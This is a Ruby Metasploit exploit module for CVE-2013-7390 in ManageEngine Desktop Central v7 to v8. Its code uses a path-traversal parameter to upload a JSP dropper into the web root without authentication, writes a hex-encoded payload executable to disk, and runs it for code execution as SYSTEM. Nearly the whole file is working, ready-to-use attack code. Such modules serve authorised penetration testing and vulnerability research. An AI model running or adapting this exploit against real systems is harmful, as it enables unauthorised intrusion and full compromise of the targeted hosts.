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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
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      'Description'    => %q{
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        This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
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        v8 build 80293. A malicious user can upload a JSP file into the web root without
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        authentication, leading to arbitrary code execution as SYSTEM.
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      },
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      'Author'         =>
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        [
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          'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2013-7390'],
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          ['OSVDB', '100008'],
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          ['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
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          ['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],
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        ],
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      'Platform'       => 'win',
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      'Arch'           => ARCH_X86,
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      'Targets'        =>
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        [
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          [ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
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        ],
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      'Privileged'     => true,
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2013-11-11'
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    ))
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    register_options([Opt::RPORT(8020)])
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  end
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  def upload_file(filename, contents)
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    res = send_request_cgi({
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      'uri'       => normalize_uri('agentLogUploader'),
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      'method'    => 'POST',
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      'data'      => contents,
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      'ctype'     => 'text/html',
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      'encode_params' => false,
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      'vars_get'  => {
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        'computerName'  => 'DesktopCentral',
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        'domainName'    => 'webapps',
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        'customerId'    => '..',
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        'filename'      => filename
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      }
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    })
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    if res && res.code == 200 && res.body.to_s.empty?
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      return true
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    else
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      return false
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    end
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  end
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  # Test for Desktop Central
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  def check
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    res = send_request_cgi({
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      'uri' => normalize_uri("configurations.do"),
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      'method' => 'GET'
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    })
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    if res && res.code == 200
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      build = nil
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      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
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          res.body.to_s =~ /ManageEngine Desktop Central MSP 7/     # DC v7
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        print_status("Detected Desktop Central v7")
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      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
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          res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
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        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
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          build = $1
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          print_status("Detected Desktop Central v8 #{build}")
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        else                                                     # DC v8 (earlier versions)
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          print_status("Detected Desktop Central v8")
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        end
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      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
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        build = $1
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      end
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      if build.nil?
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        return Exploit::CheckCode::Unknown
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      elsif Rex::Version.new(build) < Rex::Version.new("80293")
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        return Exploit::CheckCode::Appears
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      else
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        return Exploit::CheckCode::Safe
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      end
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def exploit
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    print_status("Uploading JSP to execute the payload")
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    exe = payload.encoded_exe
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    exe_filename = rand_text_alpha_lower(8) + ".exe"
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    dropper = jsp_drop_and_execute(exe, exe_filename)
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    dropper_filename = rand_text_alpha_lower(8) + ".jsp"
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    if upload_file(dropper_filename, dropper)
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      register_files_for_cleanup(exe_filename)
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      register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
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    else
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      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
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    end
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    print_status("Executing payload")
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    send_request_cgi(
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    {
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      'uri'    => normalize_uri(dropper_filename),
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      'method' => 'GET'
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    })
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  end
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  def jsp_drop_bin(bin_data, output_file)
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    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
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    jspraw << %Q|<%\n|
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    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
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    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
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    jspraw << %Q|int numbytes = data.length();\n|
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    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
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    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
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    jspraw << %Q|{\n|
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    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
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    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
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    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
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    jspraw << %Q|  comb <<= 4;\n|
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    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
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    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
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    jspraw << %Q|}\n|
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    jspraw << %Q|outputstream.write(bytes);\n|
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    jspraw << %Q|outputstream.close();\n|
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    jspraw << %Q|%>\n|
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    jspraw
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  end
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  def jsp_execute_command(command)
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    jspraw =  %Q|\n|
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    jspraw << %Q|<%\n|
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    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
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    jspraw << %Q|%>\n|
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    jspraw
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  end
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  def jsp_drop_and_execute(bin_data, output_file)
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    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
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  end
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end
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